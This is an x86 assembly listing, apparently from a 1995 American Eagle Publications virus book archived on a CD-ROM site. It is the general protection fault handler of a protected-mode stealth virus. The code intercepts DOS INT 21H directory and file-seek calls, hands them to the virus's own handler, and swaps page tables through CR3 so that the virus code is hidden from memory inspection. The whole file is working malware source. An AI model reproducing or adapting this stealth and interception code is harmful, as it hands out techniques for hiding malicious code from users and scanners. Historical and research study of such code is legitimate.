home *** CD-ROM | disk | FTP | other *** search
- ;*******************************************************************************
- ;* This is the general protection fault handler. It is the main handler for *
- ;* emulating real mode interrupts, and i/o. It is Interrupt Vector D in *
- ;* protected mode.
- ;*******************************************************************************
- ;(C) 1995 American Eagle Publications, Inc., All rights reserved!
-
- GENERAL_FAULT:
- push ebp
- mov ebp,esp ;set up stack frame
- push esi
- push eax ;save registers
- push ebx
- push ecx
-
- mov ax,BIOS_SEL ;es lets us look into the VM
- mov es,ax
-
- xor ebx,ebx
- mov bx,[ebp+12] ;cs of call (VM style)
- shl ebx,4
- add ebx,[ebp+8] ;ebx points to offending instr
- mov eax,es:[ebx] ;get that instruction
-
- ;Handle INT XX instructions here--we reflect them all back to the VM.
- GPF_1: cmp ax,0FFCDH ;is it an INT FF instruction?
- je HANDLE_FFH ;yes, it requires special handling
- cmp al,0CDH ;is it an INT XX instruction?
- jne GPF_2 ;no, check for next offender
-
- GPF_11: push eax ;save interrupt number
- xor ebx,ebx
- mov bx,[ebp+24] ;get VM ss
- shl ebx,4 ;make absolute @ from it
- mov ecx,[ebp+20] ;get VM sp
- sub ecx,6 ;adjust stack here
- add ebx,ecx ;absolute @ of stack in ebx
- mov eax,[ebp+16] ;get flags from VM caller
- mov es:[ebx+4],ax ;put flags on VM stack
- and eax,0FFFFFDFFH ;cli
- mov [ebp+16],eax ;save flags with cli for return
- mov ax,[ebp+12] ;get VM cs
- mov es:[ebx+2],ax ;save it on VM stack
- mov eax,[ebp+8] ;get VM ip
- add eax,2 ;update it to point to next instr
- mov es:[ebx],ax ;save it on VM stack
- mov [ebp+20],ecx ;and update it
- pop ebx ;get interrupt number back now
- mov bl,bh
- xor bh,bh
- cmp bl,21H ;special handling for INT 21H
- je HANDLE_21H ;go do it, else
- DO_REG: shl ebx,2 ;calculate address of int vector
- mov eax,es:[bx] ;get it in ax
- SET_ADDR: mov [ebp+8],ax ;save VM int handler as return ip
- shr eax,16
- mov [ebp+12],ax ;and return cs
- jmp GPF_EXIT ;all done, get out
-
- ;This portion of code handles Interrupt 21H calls. If the function is 11H,
- ;12H, or 4209H, then the virus code gets control. Otherwise, the original DOS
- ;handler gets control.
- HANDLE_21H:
- mov ax,WORD PTR [ebp-8] ;get ax from INT 21H call
- cmp ax,4209H ;must be function 42, 11 or 12
- je H21SFS ;for special handling
- cmp ah,11H
- je H21GO
- cmp ah,12H
- jne DO_REG ;else process as regular int
- H21GO: mov ax,DATA_1_SEL ;int 21H always goes to virus
- mov ds,ax ;handler first
- call PAGE_VIRUS_IN ;page the virus into memory!
- mov eax,[NEW_21H] ;get address of viral INT 21H handler
- jmp SET_ADDR
-
- ;Interrupt 21H, Function 4209H handler - just clear carry and skip interrupt.
- H21SFS:
- add WORD PTR [ebp+8],2 ;update ip to point to next instr
- add WORD PTR [ebp+20],6 ;re-adjust stack in VM
- mov eax,[ebp+16] ;get flags
- or eax,200H ;sti
- and eax,0FFFFFFFEH ;clc
- mov [ebp+16],eax ;and save them
- jmp GPF_EXIT
-
-
- ;This portion of code handles Interrupt 0FFH calls. If these come when
- ;VIRUS_PAGED_IN, then they get special handling here, because they are
- ;signals to return to the caller and page the virus out of memory.
- HANDLE_FFH:
- xor ebx,ebx
- mov bx,[ebp+24] ;get VM ss
- shl ebx,4 ;make absolute @ from it
- mov ecx,[ebp+20] ;get VM sp
- add ebx,ecx ;absolute @ of stack in ebx
- mov eax,es:[ebx] ;get cs:ip for iret
- mov [ebp+8],ax ;save ip on stack here
- shr eax,16
- mov [ebp+12],ax ;save cs on stack here
- add DWORD PTR [ebp+20],6 ;adjust VM sp
- mov ax,DATA_1_SEL
- mov ds,ax
- call PAGE_VIRUS_OUT
- jmp GPF_EXIT
-
-
- ;Handle IN AX,DX/ IN AL,DX/ OUT DX,AX/ OUT DX,AL here -- if we get a fault the
- ;port requested is greater than IO map, so just ignore it--no such ports are
- ;on the PC!
- GPF_2: cmp al,0ECH ;in al,dx
- jz SHORT GPF_SKIP
- cmp al,0EDH ;in ax,dx
- jz SHORT GPF_SKIP
- cmp al,0EEH ;out dx,al
- jz SHORT GPF_SKIP
- cmp al,0EFH ;out dx,ax
- jnz SHORT FAULT_REPORT
-
- GPF_SKIP: inc DWORD PTR [ebp+8] ;skip offending instruction
- GPF_EXIT: pop ecx
- pop ebx
- pop eax
- pop esi
- pop ebp
- add esp,4 ;get error code off of stack
- iretd ;and return to V86 mode
-
-
- ;This routine pages the virus into memory. It just sets the logical pages
- ;up to point to where the virus is in physical memory.
- PAGE_VIRUS_IN:
- mov eax,118000H ;use straight linear=phys page
- mov cr3,eax
- PVIR: ret
-
-
- ;This routine pages the virus out of memory. It sets the logical pages to point
- ;to some empty physical memory where there is no viral code.
- PAGE_VIRUS_OUT:
- mov eax,11A000H ;use stealthed memory map
- mov cr3,eax
- PVOR: ret
-
-
- ;Report unknown General Protection fault to console.
- FAULT_REPORT:
- mov ax,DATA_1_SEL
- mov ds,ax
- mov esi,OFFSET GPF_REPORT
- call DISPLAY_MSG
- jmp SHORT $
-
- GPF_REPORT DB 'General Protection Fault. Halting system! ',0
-
-